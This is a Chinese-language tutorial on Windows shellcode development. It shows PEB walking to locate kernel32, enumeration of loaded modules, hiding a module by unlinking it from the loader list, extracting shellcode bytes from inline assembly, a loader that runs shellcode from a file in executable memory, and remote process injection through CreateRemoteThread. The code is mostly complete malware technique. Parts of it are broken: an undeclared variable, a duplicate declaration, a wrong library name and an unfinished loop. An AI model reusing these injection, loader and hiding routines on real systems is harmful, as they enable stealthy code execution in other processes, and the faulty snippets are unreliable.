首先,我們的ShellCode代碼需要自定位,因為我們的代碼並不是一個完整的EXE可執行程序,他沒有導入表無法定位到當前系統中每個函數的虛擬地址,所以我們直接獲取到Kernel32.dll的基地址,里面的GetProcAddr這個函數,獲取的方式有很多,第一種是暴力搜索,第二種通過遍歷進程的TEB結構來實現,我們使用第二種方式嘗試,一旦獲取到該函數,就可以動態的調用任何想要的函數了。
獲取DLL模塊基地址
首先打開WinDbg加載符號鏈接文件,輸入 srv*https://www.blib.cn/symbols
1.首先FS寄存器里面存儲的是TEB結構,TEB是線程環境快,里面的PET。
TEB的偏移位置30h處,存放的是PEB線程環境快。
接着解析一下 dt _peb 0026b000
里面的0C字段是LDR,一個指向_PEB_LDR_DATA
的結構數組。
PEB_LDR_DATA 結構體偏移位置為 0x1c 的地方存放着指向模塊初始化鏈表的頭指針 InInitializationOrderModuleList,該指針指向了一個雙向鏈表。
模塊初始化鏈表 InInitializationOrderModuleList 中按順序存放着PE裝入運行時初始化模塊的信息,第一個鏈表節點是 ntdll.dll,第二個鏈表結點就是kernel32.dll可以先看看 InInitializationOrderModuleList 中的內容。
上圖中的 004e3278 保存的是第一個鏈表節點的指針,通過dd 004e3278解析這個結點,可發現如下地址0x773a0000就是ntdll.dll的基地址,而 004e3b20 則是下一個模塊的指針
繼續跟隨 004e3b20 跟進后的76a90000就是kernel32.dll的基地址,而下一個地址的指針則是004e3760以此類推來遍歷。
最后我們通過!peb命令來驗證一下,如下會發現第一個對上了,這里的kerlel32.dll其實是kernelbase.dll 這個dll是轉向dll中轉到kernel32.dll中,64位系統特有的。
通過上方的調試我們可得到公式,接着通過編寫一段匯編代碼來實現自動的遍歷出 kernel32.dl 的基址。
include windows.inc
include kernel32.inc
includelib kerbcli.lib
assume fs:nothing
.code
main PROC
xor eax,eax
xor edx,edx
mov eax,fs:[30h] ; 得到PEB結構地址
mov eax,[eax + 0ch] ; 得到PEB_LDR_DATA結構地址
mov esi,[eax + 1ch] ; 得到 InInitializationOrderModuleList
lodsd ; 得到KERNEL32.DLL所在LDR_MODULE結構的
mov eax,[eax] ; Windows 7 以上要將這里打開
mov edx,[eax + 8h] ; 得到BaseAddress,既Kernel32.dll基址
ret
main ENDP
END main
通過使用C語言也可以實現拿到Kernel32的基地址.
#include <windows.h>
#include <stdio.h>
int main(int argc, char * argv[])
{
DWORD *PEB = NULL;
DWORD *Ldr = NULL;
DWORD *Init = NULL;
DWORD *Kernel32 = NULL;
__asm
{
mov eax, fs:[0x30]
mov PEB,eax
}
printf("得到PEB指針 = %x \n", PEB);
Ldr = *(DWORD **)((unsigned char *)PEB + 0x0c);
printf("得到LDR結構指針 = %x \n", Ldr);
Init = *(DWORD **)((unsigned char *)Ldr + 0x1c);
printf("得到InInitializationOrderModuleList結構指針 = %x \n", Init);
Kernel32 = *(DWORD **)((unsigned char *)Init + 0x08);
printf("得到Kernel32的基地址 = %x \n", Kernel32);
system("pause");
return 0;
}
獲得鏡像基地址: 我們來擴展一個知識點,首先我們這次想要獲得鏡像基地址,如何解析結構?
首先鏡像基地址,在PEB結構中,我們先來獲取到其偏移地址。
此時我們知道TEB結構中 指向 PEB,則 0026b000
接着來解析TEB結構,只需要執行 dt _PEB 0026b000 即可得到該地址。
直接匯編實現,也非常簡單,如下。
枚舉進程模塊
1.我們來拓展一個知識點,通過PEB/TEB找到自身進程的所有載入模塊數據,首先獲取 TEB,也就是線程環境塊。在編程的時候,TEB 始終保存在寄存器 FS 中。
先來得到LDR結構:Ldr = *( ( DWORD ** )( ( unsigned char * )PEB + 0x0c ) );
先找到TEB
然后再找到PEB結構 偏移為 0x30 從該命令的輸出可以看出,PEB 結構體的地址位於 TEB 結構體偏移0x30 的位置
找到了PEB也就可以找到_PEB_LDR_DATA結構 其位於 PEB 偏移 0c的位置上。
Ldr = *( ( DWORD ** )( ( unsigned char * )PEB + 0x0c ) );
從輸出結果可以看出,LDR 在 PEB 結構體偏移的 0x0C 處,該地址保存的地址是 0x77bf0c40 通過該地址來解析 LDR 結構體。
WinDBG 輸出如下內容:
Flink = *( ( DWORD ** )( ( unsigned char * )Ldr + 0x14 ) );
位於LDR偏移14的位置就是InLoadOrderModuleList其所指向的就是模塊名稱表。
現在來手動遍歷第一條鏈表,輸入命令 0x4e3370
鏈表偏移 0x18 的位置是模塊的映射地址 ImageBase;
鏈表偏移 0x28 的位置是模塊的路徑及名稱的地址;
鏈表偏移 0x30 的位置是模塊名稱的地址。
的確是模塊的名稱,遍歷下一條鏈表的信息,004e3268 保存着下一個鏈表結構,依次遍歷就是了。
我們找到下一個鏈表位置,然后同樣的方法來驗證一下。
沒錯了吧,下一個是 ntdll.dll
這個鏈表結構其實訪問 InMemoryOrderModuleList 也可以得到,這兩個都指向同一片區域 例如第二個 0x4e3378
解析一下看看 0x4e3378 一致。
第二個是ntdll.dll
上面介紹的結構,是微軟保留結構,只能從網上找到一個結構定義,然后自行看着解析就好了。
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
Flink = *((DWORD **)((unsigned char *)Ldr + 0x14));
枚舉模塊的方法就是:得到TEB -> PEB ->LDR ->遍歷。
#include <Windows.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
DWORD *PEB = NULL, *Ldr = NULL, *Flink = NULL, *p = NULL;
DWORD *BaseAddress = NULL, *FullDllName = NULL,*Ba = NULL;
__asm
{
mov eax, fs:[0x30]
mov PEB, eax
}
Ldr = *((DWORD **)((unsigned char *)PEB + 0x0c));
Flink = *((DWORD **)((unsigned char *)Ldr + 0x14));
p = Flink;
p = *((DWORD **)p);
while (Flink != p)
{
BaseAddress = *((DWORD **)((unsigned char *)p + 0x10));
FullDllName = *((DWORD **)((unsigned char *)p + 0x20));
if (BaseAddress == 0)
break;
printf("鏡像基址 = %08x \n --> 模塊路徑 = %S \n", BaseAddress, (unsigned char *)FullDllName);
p = *((DWORD **)p);
}
system("pause");
return 0;
}
上方的 0x10 與 0x20 對應的就是地址結構與路徑名稱。
BaseAddress = *((DWORD **)((unsigned char *)p + 0x10));
FullDllName = *((DWORD **)((unsigned char *)p + 0x20));
將0x10改為 0x24
或改為 0x28
換成0x18 和 0x28 運行看看,獲取到的就是文件名稱。
BaseAddress = *((DWORD **)((unsigned char *)p + 0x18));
FullDllName = *((DWORD **)((unsigned char *)p + 0x28));
對照解析結果,觀察,就明白了。
進程模塊隱藏
一維指針的騷操作:
#include <stdio.h>
#include <Windows.h>
int main(int argc, char * argv[])
{
DWORD *PEB = (DWORD *)0x401000;
DWORD *LDR;
DWORD *BaseAddr = NULL;
printf("PEB = %x \t &PEB = %x \n", PEB,&PEB);
LDR = (DWORD *)&PEB;
printf("PEB = %x \t LDR = %x PEB Value = %x \n", LDR,&LDR,*LDR);
printf("-------------------------------------------------------------- \n");
printf("(unsigned char *)PEB = %x \n", (unsigned char *)PEB);
printf("(unsigned char *)PEB + 0xc) = %x \n", (unsigned char *)PEB + 0xc);
printf("取出內存中的值: %x \n", (DWORD **)((unsigned char *)PEB + 0xc));
printf("取出其地址中的值:%x \n", *(DWORD **)((unsigned char *)PEB + 0xc));
printf("-------------------------------------------------------------- \n");
DWORD Hmodule = 0x401000;
// 設置指針指向
BaseAddr = (DWORD *)0x401000;
// 設置指針中的數值
*BaseAddr = 0x1000;
if (BaseAddr == (DWORD *)Hmodule)
{
printf("BaseAddr = %x \t BaseAddr = %d \t Hmodule = %x \n", BaseAddr,*BaseAddr,Hmodule);
}
printf("-------------------------------------------------------------- \n");
int Array[] = {1,2,3,4,5,6,7,8,9};
DWORD *Flink;
DWORD *ptr;
Flink = *(DWORD **)((unsigned char *)Array);
ptr = Flink;
printf("%x \n", ptr);
for (int x = 0; x < 9; x++)
{
printf("遍歷元素: %d \n", *(DWORD **)((unsigned char *)Array + ( x*4 )));
}
// 反向輸出
for (int x = 0; x < 9; x++)
{
Flink = *(DWORD **)((unsigned char *)Array + (x * 4));
Link = *(DWORD **)((unsigned char *)Array + ((9 - x - 1) * 4));
printf("%d --> %d \n", Flink, Link);
}
system("pause");
return 0;
}
#include <stdio.h>
#include <Windows.h>
int main(int argc, char * argv[])
{
int Array[] = {1,2,3,4,5,6,7,8,9,10};
DWORD *PEB = (DWORD *)Array;
DWORD *Ldr = *((DWORD **)((DWORD *)Array + 1));
printf("Ldr = > %x Value = %d \n", &Ldr,Ldr);
// 基本的取值
printf("PEB = %x &PEB = %x \n", PEB, &PEB);
Ldr = (DWORD *)&PEB;
printf("LDR = %x &LDR = %x *LDR = %x \n", Ldr, &Ldr, *Ldr);
printf("(unsigned char *)PEB = %x \n", (unsigned char *)PEB);
printf("(unsigned char *)PEB + 4 = %x \n", (unsigned char *)PEB + 4);
printf("取出第一個元素內存地址: %x \n", (DWORD **)((unsigned char *)PEB + 4));
printf("取出其中的值: %d \n", *(DWORD **)((unsigned char *)PEB + 4));
// 取值與替換值
DWORD ref = (DWORD)*((unsigned char *)Array + 4); // 取出第2個值
*((DWORD *)(Array + 1)) = 10; // 替換數組中第二個值
printf("取出的值: %d 替換后: %d \n", ref, *((DWORD *)(Array + 1)));
// 正向遍歷元素
for (int x = 0; x < 10; x++)
{
DWORD ref1 = *((DWORD *)((unsigned char *)Array + (x * 4)));
printf("正向元素輸出: %d \n", ref1);
}
// 反向輸出元素
DWORD *Frist = NULL;
DWORD *Last = NULL;
for (int x = 0; x < 10; x++)
{
Frist = *(DWORD **)((DWORD *)Array + x);
Last = (DWORD *)((DWORD *)Array + (9 - x));
printf("反向輸出: %d --> %d \n", Frist, *Last);
}
system("pause");
return 0;
}
二維指針應用:
#include <stdio.h>
#include <Windows.h>
int main(int argc, char * argv[])
{
DWORD Array[] = { 1, 2, 3, 4, 5 };
DWORD *ArrayPtr[] = { &Array[0], &Array[1], &Array[2], &Array[3], &Array[4] };
DWORD *PEB;
// 這三種方式均可定位二級數組
PEB = *((DWORD **)((DWORD *)ArrayPtr + 1));
printf("%x %d \n", PEB,*PEB);
PEB = *((DWORD **)((DWORD *)(ArrayPtr + 1)));
printf("%x %d \n", PEB, *PEB);
PEB = *(DWORD **)((unsigned char *)(ArrayPtr) + (1*4));
printf("%x %d \n", PEB, *PEB);
PEB = *(DWORD **)ArrayPtr;
printf("得到ArrayPtr地址: %x --> 得到Array元素地址: %x --> 得到元素值: %x \n", &PEB,PEB,*PEB);
// 二級元素賦值操作
printf("得到第一個指針地址: %x \n", (DWORD)*(DWORD **)ArrayPtr);
printf("得到第二個指針地址: %x --> 數據: %d \n", (*((DWORD **)ArrayPtr) + 1), *(*((DWORD **)ArrayPtr) + 1));
printf("原始數據為: %x \n", *ArrayPtr[1]);
*((DWORD *)(ArrayPtr + 1)) = (DWORD)*(DWORD **)ArrayPtr;
printf("更改數據為: %x \n", *ArrayPtr[1]);
printf("原始指針數據為: %x \n", *ArrayPtr[1]);
**((DWORD **)(ArrayPtr + 1)) = (DWORD)*(DWORD **)ArrayPtr;
printf("更改指針數據為: %x \n", *ArrayPtr[1]);
for (int x = 0; x < 5; x++)
{
printf("地址: %x --> 數據: %d \n", (*((DWORD **)ArrayPtr) + x), *(*((DWORD **)ArrayPtr) + x));
}
system("pause");
return 0;
}
三層指針遍歷:
#include <stdio.h>
#include <Windows.h>
int main(int argc, char * argv[])
{
DWORD Array[] = { 1, 2, 3, 4, 5 };
DWORD *ArrayPtr[] = { &Array[0], &Array[1], &Array[2], &Array[3], &Array[4] };
DWORD *ArrayPtrS[] = { ArrayPtr[0], ArrayPtr[1], ArrayPtr[2], ArrayPtr[3], ArrayPtr[4] };
// 輸出三級指針中的數據
DWORD *PtrA = (DWORD *)((DWORD **)((DWORD ***)ArrayPtrS));
printf("獲取到ArrayPtr[0]地址 = %x \t 獲取到Array[0]地址 = %x \n", PtrA,*PtrA);
DWORD *PtrB = (DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1)));
printf("獲取到ArrayPtr[1]地址 = %x \t 獲取到Array[1]地址 = %x \n", PtrB, *PtrB);
DWORD PtrC = *((DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1))));
printf("獲取到里面的數值: %d \n", *(DWORD *)PtrC);
// 三級指針
// 遍歷指針數據
printf("ArrayPtrS => ");
for (int x = 0; x < 5; x++)
printf("0x%x ", &ArrayPtrS[x]);
printf("\n");
printf("ArrayPtr => ");
for (int x = 0; x < 5; x++)
printf("0x%x ", ArrayPtr[x]);
printf("\n");
// 輸出特定指針
DWORD **PtrAA = *((DWORD ***)(ArrayPtrS)+1);
printf("ArrayPtr[1] => %x \n", PtrAA);
DWORD *PtrBB = ((DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1))));
printf("ArrayPtrS => %x \n", PtrBB);
DWORD Ref = *((DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1))));
printf("%x \n", Ref);
DWORD Ref = *(DWORD *) (*((DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1)))));
printf("原始數值 ArrayPtrS[1] = %x \n", Ref);
system("pause");
return 0;
}
模塊隱藏方法:
#include <Windows.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
DWORD *PEB = NULL,*Ldr = NULL,*Flink = NULL,*p = NULL,
*BaseAddress = NULL,*FullDllName = NULL;
__asm
{
mov eax, fs:[0x30]
mov PEB, eax
}
HMODULE hMod = GetModuleHandle("kernel32.dll");
Ldr = *((DWORD **)((unsigned char *)PEB + 0x0c));
Flink = *((DWORD **)((unsigned char *)Ldr + 0x0c));
p = Flink;
do
{
BaseAddress = *((DWORD **)((unsigned char *)p + 0x18));
FullDllName = *((DWORD **)((unsigned char *)p + 0x28));
if (BaseAddress == (DWORD *)hMod)
{
**((DWORD **)(p + 1)) = (DWORD)*((DWORD **)p);
*(*((DWORD **)p) + 1) = (DWORD)*((DWORD **)(p + 1));
break;
}
p = *((DWORD **)p);
} while (Flink != p);
return 0;
}
循環枚舉Kernel32.dll 中模塊地址
#include <stdio.h>
#include <Windows.h>
int main(int argc, char * argv[])
{
int a;
__asm
{
mov ebx, dword ptr fs : [0x30]
mov ecx, dword ptr[ebx + 0xc]
mov ecx, dword ptr[ecx + 0x1c]
mov ecx, [ecx]
mov edx, [ecx + 0x8]; kernelbase.dll
mov eax, [edx+0x3c]
mov ecx, [edx + eax + 0x78]
add ecx,edx
mov ebx, [ecx+0x20]
add ebx,edx
xor edi,edi
s1:
inc edi
mov esi, [ebx+edi*4]
add esi,edx
cmp esi,edx
je no
loop s1
no:
xor eax,eax
}
system("pause");
return 0;
}
生成shellcode並自動提取:
#include <stdio.h>
#include <Windows.h>
int main(int argc, char * argv[])
{
DWORD Start, End, Len;
goto GetShellCode;
__asm
{
ShellCodeStart:
mov ebx, dword ptr fs : [0x30]
mov ecx, dword ptr[ebx + 0xc]
mov ecx, dword ptr[ecx + 0x1c]
mov ecx, [ecx]
mov edx, [ecx + 0x8]; kernelbase.dll
mov eax, [edx + 0x3c]
mov ecx, [edx + eax + 0x78]
add ecx, edx
mov ebx, [ecx + 0x20]
add ebx, edx
xor edi, edi
s1 :
inc edi
mov esi, [ebx + edi * 4]
add esi, edx
cmp esi, edx
je no
loop s1
no :
xor eax, eax
ShellCodeEnd:
}
GetShellCode:
__asm
{
mov Start, offset ShellCodeStart
mov End, offset ShellCodeEnd
}
Len = End - Start;
unsigned char *newBuffer = new unsigned char[Len + 1024];
memset(newBuffer, 0, Len + 1024);
memcpy(newBuffer, (unsigned char *)Start, Len);
FILE *fp = fopen("c://shellcode.txt", "wb+");
//fwrite(newBuffer, Len, 1, fp);
//_fcloseall();
fwrite("unsigned char Buffer[] = {", 22, 1, fp);
for (int x = 0; x < Len; x++)
{
if (x % 16 == 0)
fwrite("\r\n", 2, 1, fp);
fprintf(fp, "0x%02x,", newBuffer[x]);
}
fwrite("\n};", 2, 1, fp);
_fcloseall();
system("pause");
return 0;
}
運行后自動生成shellcode.txt文本。
通過上方代碼生成二進制shellcode.bin文件,然后將其動態讀入內存,並執行即可.
#include <stdio.h>
#include <Windows.h>
int main(int argc, char * argv[])
{
HANDLE fp;
unsigned char * fBuffer;
DWORD fSize, dwSize;
fp = CreateFile(L"c://shellcode.bin", GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
fSize = GetFileSize(fp, 0);
fBuffer = (unsigned char *)VirtualAlloc(NULL, fSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ReadFile(fp, fBuffer, fSize, &dwSize, 0);
CloseHandle(fp);
__asm
{
mov eax,fBuffer
push eax
ret
int 3
}
return 0;
}
ShellCode注入進程:
#include <stdio.h>
#include <windows.h>
unsigned char ShellCode[] = "shellcode代碼";
BOOL InjectShellCode(int Pid)
{
HANDLE Handle, remoteThread;
PVOID remoteBuffer;
Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL);
remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(Handle);
}
int main(int argc, char *argv[])
{
InjectShellCode(1024);
return 0;
}